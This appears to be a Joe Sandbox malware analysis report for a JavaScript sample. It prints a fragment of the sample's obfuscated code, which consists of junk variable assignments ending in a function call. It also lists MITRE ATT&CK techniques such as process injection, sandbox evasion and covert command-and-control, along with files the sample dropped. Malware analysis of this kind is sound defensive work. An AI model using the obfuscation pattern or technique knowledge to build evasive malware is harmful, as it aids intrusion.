1348	nsfsghuyx = "g";
1349	nsfsghuyx = "I";
1350	nsfsghuyx = "g";
1351	nsfsghuyx = "E";
1352	nsfsghuyx = "T";
1353	nsfsghuyx = "l";
1354	fefnrq = "A";
1355	fefnrq = "d";
1356	fefnrq = "C";
1357	fefnrq = "q";
1358	fefnrq = "H";
1359	fefnrq = "l";
1360	fefnrq = "f";
1361	fefnrq = "b";
1362	fefnrq = "a";
1363	fefnrq = "z";
1364	fefnrq = "i";
1365	vinmdpqve = "a";
1366	vinmdpqve = "A";
1367	vinmdpqve = "q";
1368	vinmdpqve = "F";
1369	vinmdpqve = "k";
1370	vinmdpqve = "a";
1371	vinmdpqve = "j";
1372	vinmdpqve = "G";
1373	vinmdpqve = "L";
1374	vinmdpqve = "F";
1375	vinmdpqve = "r";
1376	vinmdpqve = "Z";
1377	vinmdpqve = "t";
1378	vinmdpqve = "_";
1379	szzinaj = "V";
1380	szzinaj = "Y";
1381	szzinaj = "y";
1382	szzinaj = "k";
1383	szzinaj = "b";
1384	szzinaj = "X";
1385	szzinaj = "R";
1386	szzinaj = "y";
1387	szzinaj = "i";
1388	szzinaj = "w";
1389	szzinaj = "q";
1390	szzinaj = "p";
1391	szzinaj = "F";
1392	szzinaj = "O";
1393	szzinaj = "n";
1394	szzinaj = "r";
1395	szzinaj = "h";
1396	szzinaj = "u";
1397	szzinaj = "y";
1398	szzinaj = "t";
1399	szzinaj = "R";
1400	szzinaj = "A";
1401	szzinaj = "Q";
1402	szzinaj = "q";
1403	szzinaj = "O";
1404	szzinaj = "R";
1405	szzinaj = "l";
1406	szzinaj = "w";
1407	szzinaj = "x";
1408	szzinaj = "j";
1409	szzinaj = "S";
1410	niujxwamj = "t";
1411	niujxwamj = "W";
1412	niujxwamj = "O";
1413	niujxwamj = "z";
1414	niujxwamj = "b";
1415	niujxwamj = "V";
1416	niujxwamj = "A";
1417	niujxwamj = "f";
1418	niujxwamj = "R";
1419	niujxwamj = "n";
1420	niujxwamj = "A";
1421	niujxwamj = "I";
1422	niujxwamj = "z";
1423	niujxwamj = "s";
1424	niujxwamj = "o";
1425	niujxwamj = "I";
1426	niujxwamj = "j";
1427	niujxwamj = "q";
1428	niujxwamj = "C";
1429	wglnxrgcu = "r";
1430	wglnxrgcu = "r";
1431	wglnxrgcu = "R";
1432	wglnxrgcu = "J";
1433	wglnxrgcu = "f";
1434	wglnxrgcu = "r";
1435	wglnxrgcu = "l";
1436	wglnxrgcu = "e";
1437	wglnxrgcu = "\\";
1438	jftqpy = "e";
1439	jftqpy = "A";
1440	jftqpy = "l";
1441	jftqpy = "N";
1442	jftqpy = "G";
1443	jftqpy = "g";
1444	jftqpy = "X";
1445	jftqpy = "L";
1446	jftqpy = "R";
1447	jftqpy = "x";
1448	jftqpy = "O";
1449	jftqpy = "k";
1450	jftqpy = "Y";
1451	jftqpy = "z";
1452	jftqpy = "I";
1453	jftqpy = "q";
1454	jftqpy = "R";
1455	jftqpy = "g";
1456	jftqpy = "O";
1457	jftqpy = "v";
1458	jftqpy = "q";
1459	jftqpy = "C";
1460	jftqpy = "V";
1461	jftqpy = "i";
1462	jftqpy = "Y";
1463	jftqpy = "h";
1464	jftqpy = "K";
1465	jftqpy = "H";
1466	jftqpy = "l";
1467	jftqpy = "j";
1468	jftqpy = "J";
1469	jftqpy = "G";
1470	jftqpy = "l";
1471	jftqpy = "m";
1472	jftqpy = "5";
1473	mdwxhovu = "E";
1474	mdwxhovu = "s";
1475	mdwxhovu = "y";
1476	mdwxhovu = "o";
1477	mdwxhovu = "j";
1478	mdwxhovu = "X";
1479	mdwxhovu = "Z";
1480	mdwxhovu = "M";
1481	mdwxhovu = "N";
1482	mdwxhovu = "S";
1483	mdwxhovu = "F";
1484	mdwxhovu = "K";
1485	mdwxhovu = "L";
1486	mdwxhovu = "y";
1487	mdwxhovu = "s";
1488	mdwxhovu = "J";
1489	mdwxhovu = "P";
1490	mdwxhovu = "E";
1491	mdwxhovu = "N";
1492	mdwxhovu = "q";
1493	mdwxhovu = "d";
1494	mdwxhovu = "D";
1495	mdwxhovu = "f";
1496	mdwxhovu = "h";
1497	mdwxhovu = "y";
1498	mdwxhovu = "e";
1499	mdwxhovu = "d";
1500	mdwxhovu = "N";
1501	mdwxhovu = "v";
1502	mdwxhovu = "S";
1503	mdwxhovu = "f";
1504	mdwxhovu = "s";
1505	mdwxhovu = "d";
1506	mosabom ( );	mosabom() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2445839083247016653.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7a90f5b7-8883-4479-a7ac-e674467809ac.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6944

Windows Analysis Report
2445839083247016653.js